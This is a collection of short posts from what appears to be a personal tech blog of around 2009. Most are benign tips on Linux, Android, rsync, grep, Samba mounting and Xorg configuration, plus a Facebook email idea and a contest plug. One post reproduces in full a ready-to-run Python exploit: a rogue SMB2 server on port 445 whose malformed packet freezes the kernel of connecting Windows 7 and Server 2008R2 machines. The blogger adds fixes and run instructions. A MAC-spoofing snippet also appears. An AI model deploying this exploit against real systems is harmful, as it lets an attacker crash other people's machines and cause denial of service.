Facebook Integrated Email Client - a "killer feature"?



The other day I realised something. I spend the vast majority of my day in the browser, with two tabs always open: Facebook, and Gmail. I use Facebook for the rich social features, photos and up-to-date contact information. Gmail I use for business communication, notifications from across the web and general communication.



What if I could combine the two? What if there was one place on the web where I could find up-to-date information about all of my friends, as well as providing private, asynchronous two-way communication by emails? I would spend all my day with this open.

What if Facebook had an email client?

Just another link on the left bar - under "News Feed", titled "Email Feed". This would show your most recent emails in a list, Facebook style, with Facebook profile pictures automatically matched to your contacts, Xoopit style. Then when you click an email, it will open and besides the email, also show information about the user, including recent updates and allow you to message them back.

If Facebook could handle my emails, I'd have no reason to keep Gmail open. I would spend all my day on Facebook. Literally. Even at work. And the integrated calendar functionality could be expanded, to provide Outlook-like viewing of availability, and event scheduling. The possibilities are endless.

Maybe I'm missing something. Maybe there's a glaringly obvious reason why Facebook doesn't do this. But as far as I can see, despite all our modern micro-blogging services, the good old email still has a lot of life left in it. If Facebook could tap into this huge business, they could potentially revolutionize email, and dramatically increase their market share at the same time. Not only that, it would also present a pathway for Facebook to move into the business communication sector, which is still largely avoiding the social network.


What about it, Facebook?

How to Convert MIDI to Mp3 using Timitidy and FFMPEG

Command line switch for outputting WAV file from timidity is -Ow.
So:
timidity -Ow ./file-to-play.midi
will generate a WAV file named ./file-to-play.wav

To convert this to mp3, use FFMPEG:
ffmpeg -i ./file-to-play.wav ./file-to-play.mp3

That's it! You will now have an mp3 file ./file-to-play.mp3

FULL CODE - Windows 7 Zero Day Exploit Proof of Concept Python Code

Here is the full code for the Windows 7 Zero Day Exploit involving SMB that was first posted here. Exploitation of this vulnerability occurs when a user attempts to browse to Windows Share hosted on the malicious server. On Windows 7, the DoS (denial of service) will occur as soon as you type ‘\\\' in the search box.

My code has fixes to ensure it will run first time. Simply copy and paste the code below into a file named "win7crash.py", and then make sure samba services are stopped ("sudo /etc/init.d/samba stop") and run "sudo python ./win7crash.py".

NOTE: Make sure the line def handle(self): is indented one space. The lines underneath this should be indented two spaces, and the last two lines not indented at all.

#!/bin/python
# This Python file uses the following encoding: utf-8
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent GaffiƩ
#

import SocketServer

packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")


class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()

How to Setup Android SDK / ADB / Fastboot Under Ubuntu 9.10

These instructions work for Ubuntu 9.10, which I am running, as well as most other linux distributions. Basically how to setup Android for debugging. I have found this works with my HTC Magic 32A.

How to Install Android Donut 1.6 on HTC Magic 32A (Cyanogen Mod)

I installed the lastest Cyanogen Mod firmware (v4.2.4) -  Android version 1.6 "Donut" release on my HTC Magic 32A type phone. This is the standard HTC branded phone with 292MB of RAM.

NOTE: This process will erase all DATA and APPLICATIONS on your phone. You can use Astro File Manager and My Backup to backup your phone.

Follow the instructions here:
  1. Download HTC ADP 1.6 DRC83 http://www.androidspin.com/downloads.php?dir=enomther/ROM/&file=HTC_ADP_1.6_DRC83_rooted_base.zip
  2. Download the latest CyanogenMod (see post)
  3. Download the Kernel Port file (see post)
  4. Copy all three .zip files to your SD and reboot in Recovery Mode (press Home+Power at the same time or fastboot into your recovery)
  5. Do a "Wipe data/factory reset"
  6. Do a "Wipe SD: ext partition" ** (it is recommended to wipe your Apps2SD partition for this release)
  7. Apply Zip: HTC_ADP_1.6_DRC83_rooted_base.zip
  8. Apply Zip: update-cm-xxxx-signed.zip
  9. Apply Kernel Port Zip: rad-4.xxxx.zip or bc-4.xxxx.zip (depends on who released the latest port: rad - Radix999,bc - bcrook )
  10. Reboot
  11. Either grab some popcorn and watch adb logcat as it goes past, or go do something else.. this might take a while

How to ignore hidden folders with rsync

When using rsync to copy directories, I will use the following command:

rsync -av /home/david/directory-to-copy/ /tmp/new-directory/

But to ignore hidden files (and folders) I would use the following command:

rsync -av --exclude '.*' /home/david/directory-to-copy/ /tmp/new-directory/

Taskbar across dual monitors in Ubuntu linux

Right click panel, click "New Panel"
Right click the new panel, choose "Properties", and uncheck "Expand"
You should be able to drag it to the other monitor.
Open the panel's properties, and check "Expand" again. You may also have to choose to place it on the bottom edge of the screen.
Right click the new blank panel, and click "Add to Panel"
Choose "Window List" and click "Add". Your programs will show up in a list on the screen they are visible on.

Source: http://www.lloydleung.com/2006/10/14/gnome-multiple-monitor-taskbar-window-listing/

Using Grep -r to find strings in files - like find or locate

Searching for a String in Multiple Files

Ever need to search through all your files for a certain word or phrase? I did, and to make matters more complicated, the files were all in different sub-directories. A quick Google search turned up a few scripts involving multiple commands and temporary files. Then I found a simpler solution.

If you're a Unix/Linux/BSD user, you probably know about the grep command, but did you know it's recursive? That's right, grep can search through your entire directory tree, scanning every file along the way. It will even return the results in multiple formats!

Here's an example. In this case we're searching for the word "modules":

grep -r "modules" .

By using the "-r" switch, we're telling grep to scan files in the current directory and all sub-directories. It will return a list of files the string was found in, and a copy of the line it was found on.

If you'd rather just get the file names and skip the rest of the output, use the "-l" switch, like so:

grep -lr "modules" .

Here's another tip: grep also supports regular expressions, so matching against a wildcard pattern is easy:

grep -lr "mod.*" .

That command will print a list of files containing any word starting with "mod".

You can also use grep to search for multiple words:

grep -r "drupal\|joomla\|wordpress" .

And, of course, grep supports file name wildcards in the standard unix fashion. In this example, grep will search only file names starting with "log":

grep -lr "mod.*" ./log*

Unfortunately, not all versions of grep support recursive searching, and some use different switches, so if you're running into problems, check your man pages:

man grep

Source: http://blamcast.net/articles/recursive-grep-find-strings-files

Add a directory to PATH in Ubuntu / Unix

To add a directory (in this case /app1) to your path run the following command:

export PATH=$PATH:/app1

To view the new PATH variable:

echo $PATH

System PATH environment variables are stored in /etc/profile.

You Gotta See This!


Contest
Abbott Medical Optics Inc. is running a competition titled "You Gotta See This!". Entrants should make a video about how better vision has (or will) improve their lives. For most of us IT people, better eyesight would be a huge benefit. After all, who wants to wear one set of glasses for programming, a different set for mid-range viewing, and then take them off for looking at distant objects?

This could be a fun competition to enter. One of the themes in particular - "My favorite sport or activity would be so much cooler with better vision" is very relevant for most people. So it would be easy to have some fun making a creative video out of this.

The winning videos in the competition are determined by a community vote, so make sure you tell all your friends about your entry! If you do enter, leave a comment here so I can go and check out your video.

Full details  are listed below:

The Details (from the iLASIK Video Contest site)
1.Submit A Video
Users make and submit a video in one of the following categories:
• “My contacts are getting in the way of my good time”
• “My favorite sport or activity would be so much cooler with better vision”
• “You should see life after the iLASIK® Procedure”
2.Tell Friends To Vote
Once users submit a video, their friends can vote on it. And votes are one of the key factors in determining which videos win a prize.
3.Have A Chance To Win
• One Grand Prize winner will win $5,000 — selected from all submitted videos
• Three First Prize winners will win an HDTV package(a $2,500 value) — one per video category
•Three Second Prize winners will win the Flip UltraHD™ camcorder (a $199.99 value) — one per video category

So head down to the site today. There are lots of cool prizes to be won, and making the video itself should be heaps of fun. In fact, you could even re-make an existing video if you wanted to - the choice is yours. Now I'll just see if I can get an entry in myself..... =)

Post?slot_id=80452&url=http%3a%2f%2fsocialspark

Ubuntu 9.04 Jaunty Ctrl+Alt+F1 Show Blank Screen

I was trying to change to a virtual terminal, but all I got was a black screen. I am using the latest Nvidia graphics drivers (proprietary).

To fix, I had to run the following command:
sudo modprobe vga16fb
 sudo modprobe fbcon

Then I was able to change to different tty virtual terminals using the keyboard shortcut. Ctrl+Alt+F7 to get back to graphical interface.
Source: http://ubuntuforums.org/showthread.php?t=679861

Spoof MAC Address on Linux

Spoofing a MAC address on Linux is quite easy. It does require that you shut the interface down however. Shut the interface you want to spoof down, and then run ifconfig.


Code:
ifconfig eth0 down
ifconfig eth0 hw ether 00:11:22:33:44:55
ifconfig eth0 up

How to Mount Samba Share at Boot / Startup Ubuntu 9.04 Jaunty

To mount a Samba share to be mounted when a Linux system comes up after reboot edit the /etc/fstab file and put entry as follows for your Windows/Samba share:
//ntserver/share /mnt/samba smbfs username=username,password=password 0 0
For example, if you want to mount a share called //ntserver/docs then you need to write the following entry in your /etc/fstab file:
//ntserver/docs /mnt/samba smbfs username=docsadm,password=D1Y4x9sw 0 0
Where,
  • //ntserver/docs: Windows 2003/NT/Samba share name
  • /mnt/samba: Local mount point (you may need to create this directory first)
  • smbfs: File system type (samba file system)
  • username=docsadm,password=D1Y4x9sw: Share username and password
Note: This will work for all Linux systems, not just Ubuntu Jaunty. You may encounter an error like the following:

$sudo mount /shared
mount: wrong fs type, bad option, bad superblock on //beta/shared,
       missing codepage or helper program, or other error
       (for several filesystems (e.g. nfs, cifs) you might
       need a /sbin/mount. helper program)
       In some cases useful info is found in syslog - try
       dmesg | tail  or so

In this case, smbfs might not be installed. For ubuntu, run:
sudo apt-get install smbfs
and then try mounting again.

Source: http://www.cyberciti.biz/faq/configure-a-system-to-automount-a-samba-share-with-etcfstab/

404 - Component not found in Joomla when viewing Virtuemart

404 - Component not found
You may not be able to visit this page because of:
  1. an out-of-date bookmark/favourite
  2. a search engine that has an out-of-date listing for this site
  3. a mistyped address
  4. you have no access to this page
  5. The requested resource was not found.
  6. An error has occurred while processing your request.
Please try one of the following pages:
If difficulties persist, please contact the System Administrator of this site.
Component not found


I found this error message when working from a clean install of virtuemart. Actually, the solution was quite simple - just add a menu item linking to the Virtuemart Component. Without a menu item, Joomla doesn't recognise the component correctly.

How to Fix Screen Blank when Installing openSuSE 10.3 on Eee Box


openSuSE installed from the DVD successfully, but the screen would go blank and enter standby mode after booting. A DVI-VGA adapter was used to connect a VGA LCD screen.

The problem lies in the Xorg configuration. Apparently the default Intel driver does not work. The driver needs to be changed to VESA.

To fix the screen and get Xorg to work correctly:

1.      Turn on the computer. It will display the boot progress, but then the screen will go blank. Press Ctrl+Alt+F1 to change to command line mode.

2.      Login as root.

3.      To edit the configuration file, you will require a text editor. By default, only vi is installed. These instructions use pico. To install pico, place the openSuSE Install DVD in the drive, and type “yast2 –i pico” on the command line.

4.      Open the configuration file: pico /etc/X11/xorg.conf

5.      Scroll down using the arrow keys to find the line which says:
Section “Device”
A few lines futher down, replace this line:
Driver    “intel”
With this line:
Driver    “vesa”

6.      Press Ctrl+O and then Enter to save the file. Press Ctrl+X to exit.

7.      Type “reboot” to restart the computer. This time you should be able to login to the desktop environment as normal.

Full contents of working xorg.conf file (with modified line highlighted):
# /.../
# SaX generated X11 config file
# Created on: 2009-09-09T11:23:59+1000.
#
# Version: 8.1
# Contact: Marcus Schaefer , 2005
# Contact: SaX-User list
#
# Automatically generated by [ISaX] (8.1)
# PLEASE DO NOT EDIT THIS FILE!
#

Section "Files"
  FontPath     "/usr/share/fonts/misc:unscaled"
  FontPath     "/usr/share/fonts/local"
  FontPath     "/usr/share/fonts/75dpi:unscaled"
  FontPath     "/usr/share/fonts/100dpi:unscaled"
  FontPath     "/usr/share/fonts/Type1"
  FontPath     "/usr/share/fonts/URW"
  FontPath     "/usr/share/fonts/Speedo"
  FontPath     "/usr/share/fonts/PEX"
  FontPath     "/usr/share/fonts/cyrillic"
  FontPath     "/usr/share/fonts/latin2/misc:unscaled"
  FontPath     "/usr/share/fonts/latin2/75dpi:unscaled"
  FontPath     "/usr/share/fonts/latin2/100dpi:unscaled"
  FontPath     "/usr/share/fonts/latin2/Type1"
  FontPath     "/usr/share/fonts/latin7/75dpi:unscaled"
  FontPath     "/usr/share/fonts/baekmuk:unscaled"
  FontPath     "/usr/share/fonts/japanese:unscaled"
  FontPath     "/usr/share/fonts/kwintv"
  FontPath     "/usr/share/fonts/truetype"
  FontPath     "/usr/share/fonts/uni:unscaled"
  FontPath     "/usr/share/fonts/CID"
  FontPath     "/usr/share/fonts/ucs/misc:unscaled"
  FontPath     "/usr/share/fonts/ucs/75dpi:unscaled"
  FontPath     "/usr/share/fonts/ucs/100dpi:unscaled"
  FontPath     "/usr/share/fonts/hellas/misc:unscaled"
  FontPath     "/usr/share/fonts/hellas/75dpi:unscaled"
  FontPath     "/usr/share/fonts/hellas/100dpi:unscaled"
  FontPath     "/usr/share/fonts/hellas/Type1"
  FontPath     "/usr/share/fonts/misc/sgi:unscaled"
  FontPath     "/usr/share/fonts/xtest"
  FontPath     "/opt/kde3/share/fonts"
  InputDevices "/dev/gpmdata"
  InputDevices "/dev/input/mice"
EndSection

Section "ServerFlags"
  Option       "AllowMouseOpenFail" "on"
EndSection

Section "Module"
  Load         "dbe"
  Load         "type1"
  Load         "freetype"
  Load         "extmod"
  Load         "glx"
EndSection

Section "InputDevice"
  Driver       "kbd"
  Identifier   "Keyboard[0]"
  Option       "Protocol" "Standard"
  Option       "XkbLayout" "us"
  Option       "XkbModel" "microsoftpro"
  Option       "XkbRules" "xfree86"
EndSection


Section "InputDevice"
  Driver       "mouse"
  Identifier   "Mouse[1]"
  Option       "Buttons" "5"
  Option       "Device" "/dev/input/mice"
  Option       "Name" "KYE Optical Mouse"
  Option       "Protocol" "explorerps/2"
  Option       "Vendor" "Sysp"
  Option       "ZAxisMapping" "4 5"
EndSection


Section "Monitor"
  DisplaySize  306 230
  HorizSync    30-70
  Identifier   "Monitor[0]"
  ModelName    "107S (107S1)"
  Option       "DPMS"
  VendorName   "PHILIPS"
  VertRefresh  50-160
  UseModes     "Modes[0]"
EndSection


Section "Modes"
  Identifier   "Modes[0]"
  Modeline      "1280x1024" 119.40 1280 1368 1504 1728 1024 1025 1028 1063
  Modeline      "1024x768" 95.50 1024 1088 1200 1376 768 769 772 807
  Modeline      "1024x768" 85.45 1024 1088 1200 1376 768 769 772 803
  Modeline      "1024x768" 74.62 1024 1080 1192 1360 768 769 772 799
  Modeline      "800x600" 60.07 800 840 928 1056 600 601 604 632
  Modeline      "800x600" 53.14 800 840 928 1056 600 601 604 629
  Modeline      "800x600" 45.50 800 840 920 1040 600 601 604 625
  Modeline      "800x600" 38.22 800 832 912 1024 600 601 604 622
EndSection


Section "Screen"
  DefaultDepth 24
  SubSection "Display"
    Depth      15
    Modes      "1280x1024" "1024x768" "800x600"
  EndSubSection
  SubSection "Display"
    Depth      16
    Modes      "1280x1024" "1024x768" "800x600"
  EndSubSection
  SubSection "Display"
    Depth      24
    Modes      "1280x1024" "1024x768" "800x600"
  EndSubSection
  SubSection "Display"
    Depth      8
    Modes      "1280x1024" "1024x768" "800x600"
  EndSubSection
  Device       "Device[0]"
  Identifier   "Screen[0]"
  Monitor      "Monitor[0]"
EndSection


Section "Device"
  BoardName    "945 GME"
  BusID        "0:2:0"
  Driver       "vesa"
  Identifier   "Device[0]"
  Option       "monitor-VGA" "Monitor[0]"
  VendorName   "Intel"
EndSection



Section "ServerLayout"
  Identifier   "Layout[all]"
  InputDevice  "Keyboard[0]" "CoreKeyboard"
  InputDevice  "Mouse[1]" "CorePointer"
  Option       "Clone" "off"
  Option       "Xinerama" "off"
  Screen       "Screen[0]"
EndSection


Section "DRI"
    Group      "video"
    Mode       0660
EndSection

Section "Extensions"
EndSection